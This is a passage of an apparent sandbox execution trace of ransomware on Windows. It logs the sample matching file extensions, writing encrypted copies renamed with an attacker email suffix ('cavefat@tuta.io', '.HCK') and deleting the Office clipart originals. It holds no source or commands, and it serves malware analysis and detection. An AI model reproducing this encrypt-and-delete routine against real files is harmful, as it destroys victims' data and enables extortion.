lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0163.699] SetEndOfFile (hFile=0x354) returned 1 [0163.699] CloseHandle (hObject=0x354) returned 1 [0163.699] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.699] SetEndOfFile (hFile=0x330) returned 1 [0163.700] CloseHandle (hObject=0x330) returned 1 [0163.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0163.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0163.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.700] lstrlenW (lpString=".doc") returned 4 [0163.700] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.700] lstrlenW (lpString=".docx") returned 5 [0163.700] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0163.701] lstrlenW (lpString=".pdf") returned 4 [0163.701] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.701] lstrlenW (lpString=".xls") returned 4 [0163.701] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.701] lstrlenW (lpString=".xlsx") returned 5 [0163.701] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0163.701] lstrlenW (lpString=".ppt") returned 4 [0163.701] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.701] lstrlenW (lpString=".zip") returned 4 [0163.701] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.701] lstrlenW (lpString=".rar") returned 4 [0163.701] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.701] lstrlenW (lpString=".bz2") returned 4 [0163.701] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.701] lstrlenW (lpString=".7z") returned 3 [0163.701] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.702] lstrlenW (lpString=".dbf") returned 4 [0163.702] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.702] lstrlenW (lpString=".1cd") returned 4 [0163.702] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.702] lstrlenW (lpString=".jpg") returned 4 [0163.702] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.702] lstrlenW (lpString=".doc") returned 4 [0163.702] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.702] lstrlenW (lpString=".docx") returned 5 [0163.702] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0163.702] lstrlenW (lpString=".pdf") returned 4 [0163.702] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.702] lstrlenW (lpString=".xls") returned 4 [0163.702] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.702] lstrlenW (lpString=".xlsx") returned 5 [0163.702] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0163.702] lstrlenW (lpString=".ppt") returned 4 [0163.702] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.702] lstrlenW (lpString=".zip") returned 4 [0163.702] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.702] lstrlenW (lpString=".rar") returned 4 [0163.702] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.702] lstrlenW (lpString=".bz2") returned 4 [0163.702] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.702] lstrlenW (lpString=".7z") returned 3 [0163.702] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.702] lstrlenW (lpString=".dbf") returned 4 [0163.702] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.702] lstrlenW (lpString=".1cd") returned 4 [0163.702] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0163.702] lstrlenW (lpString=".jpg") returned 4 [0163.702] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.702] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0163.702] lstrlenW (lpString="J0099158.WMF") returned 12 [0163.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0163.703] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=26160) returned 1 [0163.703] CloseHandle (hObject=0x330) returned 1 [0163.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220 [0163.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0163.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0163.703] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.703] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0163.704] GetLastError () returned 0x0 [0163.704] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6630, lpOverlapped=0x0) returned 1 [0163.710] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6640, lpOverlapped=0x0) returned 1 [0163.711] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.711] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0163.711] SetEndOfFile (hFile=0x354) returned 1 [0163.711] CloseHandle (hObject=0x354) returned 1 [0163.711] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.711] SetEndOfFile (hFile=0x330) returned 1 [0163.712] CloseHandle (hObject=0x330) returned 1 [0163.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0163.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0164.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.176] lstrlenW (lpString=".doc") returned 4 [0164.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.176] lstrlenW (lpString=".docx") returned 5 [0164.176] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0164.176] lstrlenW (lpString=".pdf") returned 4 [0164.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.182] lstrlenW (lpString=".xls") returned 4 [0164.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.183] lstrlenW (lpString=".xlsx") returned 5 [0164.189] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0164.189] lstrlenW (lpString=".ppt") returned 4 [0164.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.189] lstrlenW (lpString=".zip") returned 4 [0164.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.195] lstrlenW (lpString=".rar") returned 4 [0164.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.200] lstrlenW (lpString=".bz2") returned 4 [0164.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.200] lstrlenW (lpString=".7z") returned 3 [0164.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.200] lstrlenW (lpString=".dbf") returned 4 [0164.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.200] lstrlenW (lpString=".1cd") returned 4 [0164.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.200] lstrlenW (lpString=".jpg") returned 4 [0164.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.200] lstrlenW (lpString=".doc") returned 4 [0164.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.200] lstrlenW (lpString=".docx") returned 5 [0164.200] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0164.200] lstrlenW (lpString=".pdf") returned 4 [0164.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.200] lstrlenW (lpString=".xls") returned 4 [0164.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.200] lstrlenW (lpString=".xlsx") returned 5 [0164.200] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0164.200] lstrlenW (lpString=".ppt") returned 4 [0164.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.200] lstrlenW (lpString=".zip") returned 4 [0164.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.200] lstrlenW (lpString=".rar") returned 4 [0164.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.201] lstrlenW (lpString=".bz2") returned 4 [0164.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.201] lstrlenW (lpString=".7z") returned 3 [0164.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.201] lstrlenW (lpString=".dbf") returned 4 [0164.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.201] lstrlenW (lpString=".1cd") returned 4 [0164.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0164.201] lstrlenW (lpString=".jpg") returned 4 [0164.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.201] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.201] lstrlenW (lpString="J0099180.WMF") returned 12 [0164.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.473] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3394) returned 1 [0164.473] CloseHandle (hObject=0x2e8) returned 1 [0164.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0164.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.473] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.473] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0164.821] GetLastError () returned 0x0 [0164.821] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xd42, lpOverlapped=0x0) returned 1 [0164.842] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xd50, lpOverlapped=0x0) returned 1 [0164.843] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.843] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0164.843] SetEndOfFile (hFile=0x388) returned 1 [0164.843] CloseHandle (hObject=0x388) returned 1 [0164.843] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.843] SetEndOfFile (hFile=0x2e8) returned 1 [0164.844] CloseHandle (hObject=0x2e8) returned 1 [0164.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0164.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.844] lstrlenW (lpString=".doc") returned 4 [0164.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.844] lstrlenW (lpString=".docx") returned 5 [0164.844] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0164.844] lstrlenW (lpString=".pdf") returned 4 [0164.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.844] lstrlenW (lpString=".xls") returned 4 [0164.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.844] lstrlenW (lpString=".xlsx") returned 5 [0164.844] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0164.844] lstrlenW (lpString=".ppt") returned 4 [0164.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.845] lstrlenW (lpString=".zip") returned 4 [0164.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.845] lstrlenW (lpString=".rar") returned 4 [0164.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString=".bz2") returned 4 [0164.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString=".7z") returned 3 [0164.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.845] lstrlenW (lpString=".dbf") returned 4 [0164.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.845] lstrlenW (lpString=".1cd") returned 4 [0164.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.845] lstrlenW (lpString=".jpg") returned 4 [0164.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.845] lstrlenW (lpString=".doc") returned 4 [0164.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString=".docx") returned 5 [0164.845] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0164.845] lstrlenW (lpString=".pdf") returned 4 [0164.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString=".xls") returned 4 [0164.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.845] lstrlenW (lpString=".xlsx") returned 5 [0164.845] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0164.845] lstrlenW (lpString=".ppt") returned 4 [0164.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.845] lstrlenW (lpString=".zip") returned 4 [0164.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.845] lstrlenW (lpString=".rar") returned 4 [0164.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString=".bz2") returned 4 [0164.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString=".7z") returned 3 [0164.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.845] lstrlenW (lpString=".dbf") returned 4 [0164.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.845] lstrlenW (lpString=".1cd") returned 4 [0164.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0164.845] lstrlenW (lpString=".jpg") returned 4 [0164.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.846] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0164.846] lstrlenW (lpString="J0099189.JPG") returned 12 [0164.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.846] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8076) returned 1 [0164.846] CloseHandle (hObject=0x2e8) returned 1 [0164.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0164.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.846] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.846] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0164.847] GetLastError () returned 0x0 [0164.847] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0164.848] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1f90, lpOverlapped=0x0) returned 1 [0164.849] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.849] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0164.849] SetEndOfFile (hFile=0x388) returned 1 [0164.849] CloseHandle (hObject=0x388) returned 1 [0164.849] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.849] SetEndOfFile (hFile=0x2e8) returned 1 [0164.850] CloseHandle (hObject=0x2e8) returned 1 